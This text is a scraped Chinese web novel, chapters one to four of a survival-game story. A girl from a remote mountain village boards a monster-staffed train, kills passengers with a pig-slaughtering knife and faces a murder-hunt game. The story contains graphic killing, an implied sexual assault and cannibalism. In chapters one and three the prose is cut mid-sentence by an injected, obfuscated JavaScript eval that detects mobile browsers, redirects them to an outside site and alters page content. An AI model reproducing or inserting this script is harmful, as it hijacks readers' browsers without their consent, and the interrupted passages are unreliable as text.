《无限流天赋是全职女儿》 1. 第一章 列车行驶了很久,窗外的景象许久没有改变过,全部都是山。 高耸的山、低矮的山、长满树木的山、巨石堆砌的山。 山连着山,翻过一座山还有一座山,仿佛永远没有尽头。 长长的列车行驶在弹石路面上,颠簸起伏,车轮与石块碰撞发出沉闷的响声。简陋的道路圈着山,一圈又一圈,像是一条永远解不开的绳索,困住了高山,也困住了生活在山里的人。 终于,车停下了。 外头是一片开阔的田地,种着望不到边际的玉米,已是立秋后,玉米秆长得比人高,浅红色的玉米穗上挂着初秋的露水,南瓜藤缠在细细的玉米杆上,茎叶上长着白色的毛毛刺。 在玉米地的尽头,有一个列车站点,标志性的红色候车亭,挂着一块崭新的牌子。 【石洞子村】 列车停靠,坐在候车亭的女孩儿背着书包拎着一把尖头杀猪刀上了车。 她穿着一条廉价的红色长裙,身上溅了很多血,单薄的布料贴在她瘦骨嶙峋的肢体上,像农村市集上被红色塑料袋装好的猪肉。平坦的胸口别着一朵塑料胸花,上面写着“新娘子”,只不过那红色布条被血浸染,只剩下个“娘”字还干干净净。 女孩儿扎着高马尾,右耳上方别着一朵抽了丝的红色绢花,两只耳垂上挂着小银圈儿耳环,个高腿长。她看起来瘦巴巴的,但是手臂上有常年劳作后产生的肌肉痕迹,双手布满老茧,握刀的姿势很是老练。 她眉骨明显,眼窝略深,鼻梁窄长高耸,菱形的嘴唇有些厚,唇色也深,一身经受过风吹日晒的黄色皮肤,两颊微红,带着一些小雀斑,是这一带常见的高原相貌。 白色橡胶底运动鞋完全被血染红,上车后留下一串鲜红的脚印。 那鞋子质量一般,鞋底材质不好,沾了液体后走起来“嘎吱嘎吱”响,那声响一路跟着她,踏上了一辆崭新而陌生的列车。 女孩儿上车后找了个靠窗的位置坐下,把杀猪刀平放在膝盖上,刀刃朝外,双手交叉压住刀柄。 她的目光一直望着窗外,眼神空洞迷茫,眉间有浅浅的竖纹,山里紫外线强,下地时总是皱着眉眯着眼,久而久之,眉间便留下了抹不去的竖纹,让人看起来凭白老了好几岁,苍老又疲惫。 列车再次启动,一路颠簸着驶向她从未去过的远方。 这一节车厢的乘客并不多,零散地坐着,各自缩在位置上发呆或打盹儿。 也有人在偷偷打量女孩儿,从她黑亮亮的头发一路往下看,瘦削却棱角分明的脸、疲惫却染着疯狂的眼、单薄却蕴藏力量的肢体,还有被湿透的裙摆包裹的,属于少女的青涩胴体。 总是这样的,有些人即便是面对未知的危险,也总会升腾起不合时宜的欲望。 他们的欲望本身就是一种武器,打量时的揣摩臆想是刮骨的利刃,会慢慢剥去被凝视者的一层皮,那目光在触摸,在舔舐,在试探,势必要从她身上割下一堆肉来填补自己的空虚。 女孩儿不为所动,她就那么坐着,像是一团燃得正旺的火,炽烈又冷静,足以烧穿一切恶意。 经过漫长的打量,终于有人开口和她搭话:“你叫什么名字?之前是做什么的?” 她从浑浑噩噩的状态中惊醒,望着窗外飞速远去的崇山峻岭,笑得露出一口白牙,眼睛眯着,憨厚又淳朴地回答:“我叫青于,是妈妈的女儿。” “还是个孩子啊?那你接下来的日子可不好过。”有人嗤笑着,和同伴交换眼神,那些眼神是轻视的、鄙夷的、势在必得的。 每一个新鲜出场的猎物,都觉得自己是最强大的猎人,殊不知在这辆车上,每个人都藏着属于自己的“刀”,他们熟练掌握猎杀和伪装的技巧,深谙如何在猎物与猎人的身份间游走变幻。 “不会的,我很爱我妈妈,我妈妈也很爱我。”她将手上的鲜血擦在裙子上,垂着头咧着嘴自言自语,“只要是妈妈的要求,我一定会完成的。妈妈也会保佑我的,我们永远在一起。” 她眼中的疯狂褪去,目光变得清亮又坚定,口中发出的声音很轻很轻,经过全身的骨骼后敲击着自己的耳膜:“妈妈说,她要逃出大山。不管是以什么样的方式,我都会带妈妈逃出去。” 山间的路不平坦,坑坑洼洼的,有些地方还有明显的断裂和塌陷,车轮碾过时上下颠簸,仿佛要将人甩出座位。有人在低声咒骂,有人在小声抱怨,也有人因为晕车脸色苍白地靠在座位上不敢睁眼。 青于感受着那种上上下下的颠簸,觉得有些熟悉。 她六岁那年,妈妈背着她一起逃,她趴在妈妈背上,像妈妈的一只小书包。 耳边是妈妈凌乱的呼吸声,那时候的她不明白,为什么妈妈要逃,为什么要跑得这么辛苦。 她在妈妈的背上上下颠簸,和现在车轮碾过山路的感觉相似。 她抱怨不舒服,想让妈妈放她下来,妈妈就说:“小鱼乖,妈妈跟你玩坐船的游戏,晃来晃去,这就是一只小船,我们小鱼坐在船上呢。” 她问:“妈妈是小船吗?” 妈妈回答:“妈妈是小鱼的小船,会带着小鱼走出吃人的大山。我最爱的小鱼要去看真正的海,要去坐真正的船,还有飞机、地铁、火车、轮船,所有的所有,小鱼都要亲眼去看,亲自去感受。” 那温柔轻缓的声音从遥远的童年传来,带着善意的诱哄,用母爱将“离开”刻在了青于的肋骨上,那两个字日复一日地撞击着心脏,一刻也不曾停歇。 列车晃啊晃,荡啊荡,青于再次坐上了小船。 她闭上眼睛感受颠簸的节奏,仿佛又回到了那些遥远的,周而复始的,永远在逃跑的寂静夜晚。 月光笼罩着望不到边际的山林,她趴在妈妈的背上,她们的心跳声连接在一起,那根脐带仿佛从未消失。 妈妈乘着月光扬帆,女孩儿坐在名为“妈妈”的小船上。 可是妈妈的小船沉了。 从今以后,青于要成为自己的船,带着妈妈的遗憾扬帆。 “叮——”一声脆响,车厢通过门缓缓打开。 三个穿着黑色制服的乘务员从前一节车厢走过来,他们面无表情地巡视,高筒靴踏地的声音格外清脆,每逼近一分,那些懒散的乘客就坐直一点,等他们站定时,所有人正襟危坐。 黑色外套、黑色长裤、黑色长发、及膝的黑筒靴。 两女一男,皆是长发,那黑色外套上排列着六枚金色纽扣,纽扣上雕刻着衔尾蛇的图案。 后座有人倒吸了一口凉气,随后整个车厢的气氛变得紧张。 为首的女人高挑纤细,莹白的皮肤上覆盖着一层薄薄的、透明的细小鳞片,一双金黄色的蛇瞳冰冷地打量每一位乘客,她偶尔会开口查验乘客的证件,张嘴时露出猩红的信子和尖锐的毒牙。 她身后的一男一女是双胞胎,有着与她如出一辙的蛇瞳和信子,但是鳞片并未完全覆盖皮肤,看起来很像人。 青于没有证件。 她右手握紧杀猪刀的刀柄,左手悄悄伸进背包,从侧边的口袋里拿出一个布包,里面是她从全村搜刮出来的现金,一共三万多,大大小小的纸币被她整理好包进破布里,就像妈妈还在时一样。 其中有三千块,是上湾那个男人给她爹的彩礼。 如果那个怪人要撵她下车,她就花钱买票,花钱不行就撒泼,反正她已经上车了,绝对不可能下车,实在不行就只能杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过妈妈的痣是带着温度的,是皮肤的温度,也是眼泪的温度。她每次伸手帮妈妈擦眼泪,都会轻轻摩挲那颗红色的小痣,然后嘴笨地告诉妈妈不要哭,自己以后会带着她离开的。 而苏九的痣是冰凉的,好像触摸到了冬天的霜,没有温度,也不柔软。 指尖的冰凉倏然离开,青于被惊醒,看着苏九那张漂亮的脸被迫离开,然后传来一道男声。 “老实点,忍一忍。再敢悄悄吃人,首领又得罚你。” 苏九撩了撩头发,也不逗青于了,在籍贯那写下“石洞子村”,然后就和男人边聊边走了。 “人真的很好吃,你吃过一次就知道了,好香啊。那个小姑娘特别香,肉质新鲜筋道,嘶嘶,真香啊。” “再香也得忍着,我们列车的乘客越来越少,首领本来就很头疼了,你要是再吃人把乘客吓跑,以后首领就不让你上车了。现在终点站的乘客到处宣扬我们列车的乘务员会吃人,每次发车都坐不满,你的责任最大!” “啧,真烦。天天守着一车的食物不能吃……” “等有人主动杀人就能吃了。” 他们吃人吗? 青于用指甲抠着刀刃上那些凝固的血迹,突然觉得有些可惜。 家里有很多蛇皮口袋,用来装粮食的,用来装化肥的,那些袋子都很大。 如果把人折一折,还是能装下的。她有些后悔,没有把那些尸体装在口袋里带着过来,这样可以交给那个姐,讨好她,让她告诉自己什么地方有海。 妈妈的家乡有海。 她要去有海的地方。 2. 第二章 夜晚,车里很暗。 青于迷迷糊糊被吵醒,听见后座有女人的尖叫声传来,一边尖叫,一边泣不成声地求饶。 尖叫、哭泣、哀求、喘息…… 她被这熟悉又恐怖的声音摄住了心神,连着十几秒都没有呼吸,就那么呆滞地握着自己的刀,颤抖着僵在原地,陷入难以自拔的噩梦中。 突然,她好像听见了妈妈的声音。 “小鱼,救救妈妈……小鱼、小鱼……” 青于恢复了呼吸,急促又杂乱的呼吸。 她恍惚地握着刀站起来,然后走到声源处,右手握着杀猪刀的刀柄,左手按住那个男人的脖子,像杀猪一样,狠狠地朝着男人的后心捅了进去,刀刃全部没入,足够深了。 一刀就够了,一刀就能死,捅的次数太多会让猪肉糟烂,到时候分出来的肉块不好看。 拔刀时要侧身一步,这样溅出来的猪血就不会大面积地弄脏衣裳。 拔了刀也要多按住一会儿,因为猪还会挣扎,到时候从桌案上掉下去,会把院子里弄得到处都是猪血,最要紧的是,会浪费猪血。 猪血是好东西,酸菜炖猪血很好吃。 当初教她杀猪的大伯是这么说的,不过,他说得最多的就是,“别害怕,杀猪简单,刀子捅进去拔出来就成了,要是不行就多捅两刀,只要手上熟练了,怎么杀都杀得死。” 是的,只要手上熟练了,怎么杀都杀得死。 青于舔了舔嘴唇,狠狠按住男人的脖子将刀抽出来,侧身避开大量飞溅的血液,就那么直愣愣地站着,手上用力地按着。 红裙子上的血迹还没干涸,就沾上了新的,黏糊糊的,她也不觉得难受。从第一次杀猪时的血肉模糊,到现在下手干净,她感受了太多的血,时间久了,就缺失了对血的恐惧感和敏锐度,好像身上糊满了血和流满了汗差不多,都是黏糊糊的。 男人惨叫了几声,倒是没有太过挣扎。 青于下手还是干净。 石洞子村都知道蓝家老二没本事,买了个漂亮媳妇儿回来就生了一个姑娘人就死了。但好在那个姑娘争气,从小就跟她大伯学杀猪,下地也卖力气,进山砍柴挖水渠也一点不含糊,比别人家的儿子还能干。 那姑娘十五岁就能自己拿着杀猪刀给人杀猪了,下手干净得很,是个有出息的。 “砰” 轻轻一声,列车上的灯亮了。 三个乘务员走过来停在青于身边,为首的女人皱着眉看向那男人暴露在外的下半身,嫌弃地说:“苏十,打扫干净,苏九,你……” 话音未落,名叫苏九的女人就说:“首领,让我来打扫吧。” 被称作首领的女人点头,苏九克制不住地笑了一声,随后脖颈以上变成一个巨大的蛇头,将男人的尸体整个吞了进去。 她吞咽的速度很快,只用几秒钟就完成了一次进食。随后就变回了人类的头颅,笑盈盈地看着青于,眼里是藏不住的欣赏。 青于看着她鼻尖那颗红色小痣,兴奋地微微颤抖,手中沉甸甸的刀也随之轻颤着,好像在蛊惑她再去杀一次猪,或是杀一个人。 她从苏九身上汲取属于妈妈的情感,那道欣赏的目光,好像穿越了很多年,从闭塞的小山村来到可以逃离的列车上。 青于咬紧牙关,克制着自己的颤抖。她要冷静,她要努力,她要做让妈妈骄傲的女儿。 被男人压在身下的女人露出全貌,她整理自己凌乱的衣裳,低着头躲避旁人的目光,就维持着那个半躺着的姿势,一动不动。 首领离开了,苏十也离开了。 只有苏九留下来“打扫”。 苏九问她:“你叫什么名字?在哪儿上车的?死者和你是什么关系?” 女人伸手抹去眼泪,裹紧那件起球严重的针织外套,双手紧紧捏住衣襟,声若细蚊地说:“我叫王美燕,从环县上车的,死、死者是我丈夫。” 苏九快速在本子上记录着,然后表情严肃地说道:“我们‘衔尾蛇’号列车是非常注重乘车纪律的,夜晚是休息的重要时间,所以不允许任何人吵闹影响乘客的休息。你和你丈夫刚才吵到大家休息了,所以现在需要你和我一起去讯问室接受调查,请跟我来。” “乘、乘务员,这个小姑娘没事儿吧。”王美燕大着胆子问了一句,她垂着头不敢看任何人,所以青于看见的,只有她宽宽的发缝儿和稀疏的头发。 苏九看向青于,挑眉,“当然没事儿,她并不吵闹。” 她们准备离开了,青于突然开口问道:“你还饿吗?” 她的声音那么雀跃,眼巴巴地盯着苏九看,那副模样殷勤又讨好,仿佛随时可以为了苏九的一个答案铤而走险杀了这趟列车上所有的人。 仿佛在这一刻,她不在乎对或错,只在乎苏九有没有吃饱。 苏九露出大大的笑容,眯着眼睛危险地看着她,猩红的信子扫过嘴唇,轻声说道:“饿。” 青于看着她,回答道:“好。” 两人离开后,灯灭了,车厢里再度变得昏暗,朦胧的月光跑进来,照出一些隐约的轮廓,座位的轮廓,乘客的轮廓。 青于睡不着了,她握着自己的刀正襟危坐,在极度亢奋的情况下,听觉变得无比灵敏,她甚至能听清那些规律或者不规律的呼吸声。 一旦有一丝响动,她就会立马转头看过去,期盼那个方向可以出现更扰人的动静,那样她就可以杀人,可以给苏九准备食物。 这一夜,这间车厢里的人都不敢睡,他们警惕地盯着青于的动作,生怕这个刚上车的新人发疯杀人。 这样的例子以前也有过,上车后因为受了刺激精神错乱,就开始无差别攻击,觉得所有人都是怪物,只有杀人才能自保。 而且能上这辆车的,都不是什么好人。 终点站的人都知道,衔尾蛇不欢迎好人和正义者,他们只接纳纯粹的恶人和复杂的恶人。一旦你踏上这趟列车,就会遇见数不清的怪物新人,和他们一同进入副本,在副本里,新人的威胁远超副本本身。 但这样也有好处,衔尾蛇途经的副本给出的奖励很丰富,是真正的一夜暴富。 结论就是,在终点站上车的未必是恶人,但是沿途上车的新人,绝对不是好人。 衔尾蛇的宗旨是:善或恶只是一时的选择。 天蒙蒙亮时,那个女人独自回到了车厢。 她慢吞吞地走回来站在青于旁边,踌躇了一会儿,坐在青于旁边的位置上。 “小姑娘,你叫什么名字?” “青于。” 那女人柔柔地笑着,小声说道:“真是个好名字,青出于蓝而胜于蓝,你是个好孩子。你从哪里上车的?你今年几岁了?在上初中还是高中?”< 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玉米还不够熟,颗粒稚嫩,咬开后是清甜的汁水。浅黄色的玉米须被白色的浆液黏在她侧脸上,她觉得有些痒,刚想伸手去摘掉,就被一旁看着她的王美燕摘去了。 她手里搓着那根玉米须,再次和青于搭话。 “你怎么会上车?你家里人呢?你这么大了,怎么没去上学?” 青于啃着玉米,抽空敷衍了她两句:“我家里人都死绝了,没人管我。我没上户口,不能上学。” 在石洞子村,买来的女人生了姑娘是不能上户口的。 因为那些女人都在家里生产,要想落户得去办出生证,办出生证需要亲子证明,爹妈的都要办,两个人就是三千块钱,还得去市里才能办。 只有儿子,才值三千块钱和一路的奔波。 姑娘的宿命就是嫁人,养到十七八岁,收一笔彩礼嫁出去。 即便是青于这样“比儿子还能干”的姑娘,也得在十八岁的时候嫁人。 王美燕看着她胸前别的胸花,问她:“你嫁人了?” 青于回答:“嗯,我昨天嫁人,但是没办成。” 王美燕突然感慨道:“上车了也好,上车了就不用嫁人了。嫁人一点都不好,年轻的时候不好,老了也不好,当了半辈子畜牲,不仅累出一身病,还落下了数不清的埋怨。” 青于没说话,她看着窗外飞速掠过的山,陷入了漫长的沉默。 她昨天下午上车,现在过了一夜,窗外还是山。 这样多的山,这样深的山,妈妈怎么可能逃得出来呢? 从石洞子村到镇上是没有直达车的,只能靠自家的摩托车或者面包车去。青于去过,坐在摩托车上走过那些狭窄陡峭的山路,要半个多小时才能到镇上,这样远的路,妈妈怎么逃得出来? 她有点想哭。 她其实读过一些书,妈妈会悄悄把堂哥闲置的课本找出来教她认字,她们学过一首诗,青于记得最深刻。 【在山的那边,依然是山 山那边的山啊,铁青着脸 给我的幻想打了一个零分! 妈妈,那个海呢?】 妈妈,你的海呢?我要去哪里找你的海? 这辆诡异的列车,会带我找到海吗? 3. 第三章 正午时分,苏十推着补给车穿越每一个车厢售卖物资。 这趟列车上有三个乘务员,苏十是三人中最温和守规矩的,所以这类需要和乘客接触的工作都归他负责。 补给车的轮子在车厢连接处发出轻微的咔哒声,随后一声脆响,车厢通过门打开又合上,苏十来到了青于所在的这节车厢。 “各位乘客中午好,欢迎大家乘坐‘衔尾蛇’号列车,我是本次的乘务员苏十。今日的补给时间到了,请需要补充物资的乘客尽快购买,我只在本节车厢停留一个小时。下面,我将播报本次补给车刷新的物品——” “很遗憾,本次没有刷新出重点物资。请新乘客记住,重点物资分为三类,分别是:药品、武器、道具。重点物资刷新率极低,一旦出现,请您放心购买。” “本次刷新后出现的物品有食物类。分别是:方便面、压缩饼干、鲜肉包子、腊肉和每份500g的大米。” “本次刷新后出现的物品有服饰类。分别是:防寒羽绒服、名牌POLO衫、防风工装裤、修身连衣裙、高中校服运动款。温馨提示,您购入的服饰可以在任何一趟列车上让乘务员给您改成合适的尺寸,这项售后终身有效,您不必担心衣物出现不合身的情况。” “本次刷新后出现的物品有生活用品类。分别是:打火机、钥匙扣、梳子、塑料盆、折叠水桶、衣架。” 他说完后就不动了,站在原地等着乘客去找他购买。 首先过去的是一个黄头发的年轻男人,他背着一个巨大的登山包,走到补给车前面将登山包放在台面上,对着乘务员说:“麻烦你帮我把所有物品出售,换成金钱。” 苏十微笑:“好的,本趟列车严格按照终点站物价进行收购,但是需收取您百分之二十的手续费,请问您同意吗?” 年轻男人一脸肉疼,烦躁地揉着头发,最后说道:“同意。” 他出售完所有物品后就回座位了,并没有买任何物资。 青于看了一圈,这节车厢里有六个人,除了黄头发的年轻人外,没有任何人去找乘务员进行交易。而且大部分人都双手空空,没有背包,也没有袋子。 他们都和自己一样是刚上车的吗?她没有去是因为不懂规则,他们没有去也是不懂规则吗?还是说他们不缺物资?如果不缺,他们的物资在哪里? 时间一分一秒地过去,离交易结束还有十分钟。 青于跟王美燕说了一声想要出去,王美燕就站起来让她,还自觉地挪到了里面那个位置。 青于背着小书包拎着杀猪刀走到苏十面前,一双眼睛警惕地看着他。 苏十微笑着,耐心地说道:“列车是补充物资的唯一途径,为了接下来的存活率,还请乘客谨慎选择。除了重点物资外,乘客可以多多囤积食物和饮用水。” 补给车是一个黑色的大箱子,最顶上有一块电子屏幕,屏幕上有三条红色的边框,上面写着字。 【食物类:……】 【服饰类:……】 【生活用品类:……】 所有的物资都以图片的形式陈列,并没有标注价格。 每天列车都会刷新物资种类,每次刷新三类,随机提供物资。 青于指着那个高中校服运动款,“这个多少钱?” 苏十点了一下图片,上面出现了一个数字。 【200】 他说:“金钱200。根据终点站法律,我们接受任何货币的‘200’这个值,但必须是同种货币的‘200’。现金200元、铜板200枚、白银200克、黄金200克、贝币200枚等。” 好贵。 青于伸手点了一下压缩饼干。 【10】 也好贵。 但是好像不得不买,她不知道这趟车什么时候停下,也不知道明天会不会有食物,所以购买是唯一的选择。她上了一趟诡异的列车,这趟列车将去往哪里她都不知道,但是总得买些吃的,不然就会饿死。 她从书包里翻出小布包,打开后数了三百块钱出来,说道:“我要一套衣服和十个饼干。” 她的钱足够多,但是她的小书包装不下那么多食物,里面还有好几个新鲜玉米。 玉米是好东西,有汁水,渴得受不了的时候啃一个玉米能缓一缓。 交易结束后,她背着沉甸甸的书包回去,这次她换了个座位,在最后一排。 这一排没有人坐,现在只有她一个人。 王美燕转过身问她:“青于,你要坐在那里?不回来了?” “嗯,你一直说话太吵了,我想安静点。”而且王美燕身上有股味道,她嗅觉很灵,闻着不太舒服。 王美燕讪笑了一下,没有答话。 青于先隔着裙子穿上运动裤,上身套好短袖后双手缩在衣服里把裙子脱了下来,最后穿上外套,拉好拉链。取下头上的红色绢花塞在裙子里,清清爽爽地靠在车窗上。 身上的血迹没办法清理,但只要别穿着那条裙子就可以了。 这是她从小到大第一次穿裙子,她比堂哥小三岁,从小就穿着他的旧衣服长大,再长大些不能穿了,奶奶就上街给她买衣服,都是那种几十块钱一套的迷彩服和迷彩胶鞋,便宜耐穿。 而且,她这样不被家人重视的孩子,在村子里穿裙子不安全。要是出了事,家里人也不会帮她出头的。 换上新的衣服后,那条脏兮兮的连衣裙就没用了,青于把它揉成一团放在旁边的座位上。 这时恰好苏十推着补给车往前走,一路到了她旁边,她顺手将连衣裙递过去,“这个可以卖吗?” 苏十微笑:“可以,同样的,我们收取百分之二十的手续费。扣除手续费后,该物品价值金钱10。请问您确定交易吗?” 青于点头,“确定。” 她从苏十手里接过一张崭新的十元人民币,比她任何一张钱都要新。 她有些好奇,为什么那个黄头发的男人交易时,苏十没有递钱给他。是什么没有实体的货币吗?还是他们有别的交易方法? 之后列车又行驶了整整一天,才彻底离开群山。 窗外的景色从连绵的山峦变成了广阔的田地,大大小小的村落聚集着,低矮的土坯房像被遗弃的盒子,关着许多人穷苦又愚昧的一生。那样的一生,低头是埋在土地里的种子,抬头是水稻的穗子,仰头是一望无际的天,天的后面,藏着决定了农民喜悦或悲伤的天气。 她攥紧了校服袖口,这布料太新太白,盖在她粗糙的皮肤上,像偷穿了别人的衣裳,或是人生。 青于趴在窗边,鼻尖贴着冰冷的玻璃,眼睛一眨不眨看得十分专注。 几个裹着头巾的中年女人在地里弓着身子忙碌,她们的影子被阳光压得扁扁的,贴在被踩踏紧实的田埂上。 列车从她们旁边呼啸而过,扬起的尘土扑在她们的后背上,她们却连头都没有抬。 她们看不见这趟列车。 车厢里依旧死寂。 王美燕缩在座位上,用一块灰扑扑的手帕反复擦拭镜片,黑色的镜框曾长时间压在她的鼻梁上,留下一个小小的印子。 她正透过那镜片,偷偷窥视着在最后一排的女孩儿。那张充满生机和活力的脸,那燃起仇恨和野心的目光,让她想起了死去的女儿。 她轻轻将手帕叠好装进口袋里,眼神里闪过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427612|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝悲伤和更为复杂的情绪。 那双眼一直盯着青于,没有一刻舍得离开过。 夜里,车厢里的光线逐渐变暗,只有少许月光从窗外溜进来,照亮了窗子旁的座椅。 青于蜷缩在角落里,把外套拉紧了些,闭上眼睛试图入睡。她迷迷糊糊地刚要睡着,就听见“咔哒”一声,像是有什么东西掉在了地上。 上一秒脑子还是清醒的,可那声动静之后,脑子就迷糊了,有种深度睡眠被叫醒后的不真实感,感知变得迟钝,分不清是梦是醒。 除此之外,什么声音都没有。 极度的安静,没有其他人的呼吸声,也没有活动时衣服发出的簌簌声,只有她跳得凌乱的心跳声。 “咔哒……咔哒……咔哒……” 规律的声音在车厢里响起,朝着她渐渐逼近。 青于屏住呼吸,心脏跳动的力度几乎撞破她单薄的胸膛,那声响如钟表般精准,一次次丈量她的恐惧,而她的恐怖蔓延着,疯长着,挤压她的气道,让呼吸变得格外费力。 恐惧如潮水般将她淹没,她被困在座椅上动弹不得。 她想伸手去摸自己的刀,去感受缠在刀柄上麻绳的粗糙触感,可她无法活动自己的任何一个部位,就像被无形的绳索束缚住,连指尖都无法抬起。像是那些被噩梦魇住的夜晚,她只能眼睁睁看着黑暗吞噬自己,将自己埋葬在永远走不出去的大山里。 声响在她座位旁停下了。 青于拼命地想要睁开眼,但眼皮像灌了铅一样沉重,难以睁开,她只能用凌乱的呼吸和剧烈的心跳徒劳地抵御即将来到的威胁。 也就是所谓的,任人宰割。 就在她不知道该怎么办的时候,她闻到了一股微弱又熟悉的味道。洗衣粉浓烈的花香味和轻微的汗味混杂着,还掺进了一股血腥气,熟悉又刺鼻。 王美燕。 青于立刻就确认了味道的来源,她上车后只和王美燕坐过并排,所以记得她身上的味道,而且那血腥气,是她杀死王美燕丈夫时留下的,很新鲜的血腥气。 就在她思考时,一只冰凉的手盖在她的手背上,那并不是寻常的冰凉,而是一种尸体上会出现的僵冷,触感潮乎乎的,但并没有液体,那些潮意像是细长的毛,慢慢钻进了她的皮肤里,带来一阵轻微的刺疼和阴冷。 那刺痛像是针尖刺入神经,直抵意识深处,让她猛地清醒。 她终于能睁开眼睛了,睁眼的瞬间,她对上了一双空洞的眼睛。 王美燕的脸惨白如纸,嘴唇泛着乌青,眼睛直勾勾地盯着她,像一只轻飘飘的纸人。 她缓缓歪头,随后脖颈像是断了一样,沉重的头颅猛地砸下,搭在瘦削的肩膀上。她的嘴角咧开一条诡异的弧度,那弧度好怪异,像是在笑,又像是在哭,乌青的嘴唇渗出血迹,那红到发黑的血迹顺着她歪斜的嘴角缓缓淌下,途经脖颈后顺着胸骨柄一直往下,最后滴落在青于的手背上。 青于感受不到血滴落在她手背上的触感,她只是呆呆地看着那条血迹蜿蜒的轨迹,觉得那是一条标记的线,顺着这条线,她能将眼前这个诡异的王美燕一刀劈开。 脑子里这么想着,手已经放到了刀柄上,麻绳粗糙的触感落在她手心。 挥刀变成了她的本能,刀刃破开空气后,眼前的人也被分成了两半,一串血珠顺着刀刃滚落,在地面留下一团不规则的红色。 当重物落地的声音响起时,青于才猛地清醒,她看着地上的尸体,无措地抿着唇。 血液飞溅,她周围的座椅和地面都脏了,正在她想着该怎么收拾的时候,车厢通过门那儿的红色警示灯亮了起来,随后,传出一阵冰冷的机械音。 4. 第四章 “各位尊敬的乘客,欢迎乘坐‘衔尾蛇’。本趟列车始发于终点站,全程途经七个副本,您可以选择在任意站点下车进入副本,通关副本后即可获得印着双子大厦的通关币,通关币是重要货币,无法掠夺、交易、购买、赠予,只能依靠通关副本获取。” “因列车上新人玩家过半,所以触发了筛选机制,本趟列车的最终费用也将在筛选副本后公布。请所有乘客注意,在您听到‘叮’声后,副本便呈现开启状态,在此之前,请仔细查阅副本信息与要求。” 【“衔尾蛇”列车筛选副本——屠杀者】 【副本等级:低级】 【副本信息:夜幕降临,黑暗中滋生了危险和罪恶。无知的旅客还在呼呼大睡,殊不知屠杀者已经睁开了眼,他/她不知疲倦地将刀高举着,想要用鲜血和死亡给这趟旅程增添不一样的色彩。 他/她得手了,车厢里出现了死者! 凌乱的、不确定的时间是“衔尾蛇”的特点,也是最大的危险,屠杀者利用了这项规则。现在,每节车厢里都隐藏着一名屠杀者和一名死者。】 【副本说明:本轮副本时间为五个小时,五个小时内屠杀者死亡,即可改变死者死亡的事实,如果死者在副本中被再次杀死,那将暂时拨正时间,呈现此名死者被屠杀者杀害时的死状,这将是获取屠杀者信息的唯一线索。需要注意的是,屠杀者会掩藏在普通旅客中伺机杀人,所以在寻找的过程中,请保证自己的安全。 每个小时结束时,察觉到时间的人可以凭借手中的“杀戮卷”进行杀戮,“杀戮卷”每人仅有一张。】 【副本要求:活过五个小时】 【乘客信息获取中:姓名青于,身份未知】 未知? 青于看着地上倒着的人,还有四处飞溅的血迹,开始怀疑自己就是那个所谓的“屠杀者”。 但有些奇怪,副本信息中的“屠杀者”是主动攻击死者的,而她则是被动地挥刀。要不是王美燕阴恻恻地出现在自己面前,自己也不会杀了她。 所以,我到底算不算“屠杀者”? 普通旅客的目标是找出真正的屠杀者,并确保自己不成为下一个受害者。 屠杀者的目标是隐藏自己的身份。 死者的目标是在五个小时内找出屠杀者并将其杀死,然后改变自己的死亡结局。 那么,屠杀者和死者的身份都不清晰,要怎么确认呢? 青于灵光一闪,她想到了。 在一切都是未知的情况下,不存在所谓的“普通旅客”,每个人都要将自己当成死者,在五个小时内将所有人杀死,到最后只剩一个幸存者的话,不管他的身份是什么,他都能活下去。 这样一来,屠杀者和死者并没有区别。 他们所有人都是屠杀者,所有人都是死者。 查阅完信息后,有一段空白时间。 看不到别的乘客,尸体也逐渐消失,整节车厢里只剩下她一个人。 警示灯的红光还在规律地闪烁,闪着闪着,红光渐弱,变成一个圆形的,拥有红色边框的大时钟。 这只时钟边缘处有五个用来代表时间的标记,都是盘踞的红色小蛇,而且没有分针和秒针,只有短短胖胖的时针。 突然,被时针指着的那条蛇突然张开嘴,随后发出一声“叮”。 “叮”的声音回荡在车厢中,黑暗被驱散,车厢恢复了明亮。 这节车厢里有六个人,青于、王美燕、黄发的男青年、戴眼镜的中年男人、穿红色连衣裙的女人,以及坐在车厢门口的光头男人。 车厢内的空气逐渐恢复流动,所有人都变成了活生生的人,包括王美燕。 每个人手中都拿着一张质感很厚的卡片,卡片被一条斜线分为两半,一半是红色,一半是蓝色,上面写着两个字“杀戮”。 “这一类找凶手的筛选副本不难,最常见的处理方式是等着,大家各自保命,然后等五小时结束后只会有一个死者,其余人都能成功活着。” 说话的人是那个黄头发的青年,他环抱着手臂坐在位子上,用一种极其冷漠的声音说道:“在这里,运气也是很重要的特质。而且,对你们这些新人来说,死在这里是一个很好的结局,因为在之后的副本里,你们可能连死亡的机会都没有。” 回应他的是一声嗤笑,坐在他前面一排的红裙子女人翻了个白眼,语气不善地说:“确实像你的处理方式,懦弱的黄毛怪。你这种只会躲在角落里瑟瑟发抖的人就别出来装模作样了,真正的玩家可不会像你一样缩头缩脑。” 她站起来,目光犀利地扫视了一圈,红唇勾起,不怀好意地说:“让我来告诉你们真正的玩法吧,在这个副本里,只能有一个存活者,赶紧想办法杀死别人才是要紧事。” “朱芸,你少煽动人心!” “黄毛,不是所有人都和你一样是窝囊废,或许,这些新人和我有相同的想法呢?而且你也很搞笑,在副本里装什么圣人啊?” 青于赞同女人的说法,只有活到最后的人才是安全的。 她将目光投向那个时钟,她感觉已经过了很久了,为什么时钟没有走动的迹象? 还有手中的“杀戮卷”,那是能决定一个人生死的道具,但是要怎么使用呢? 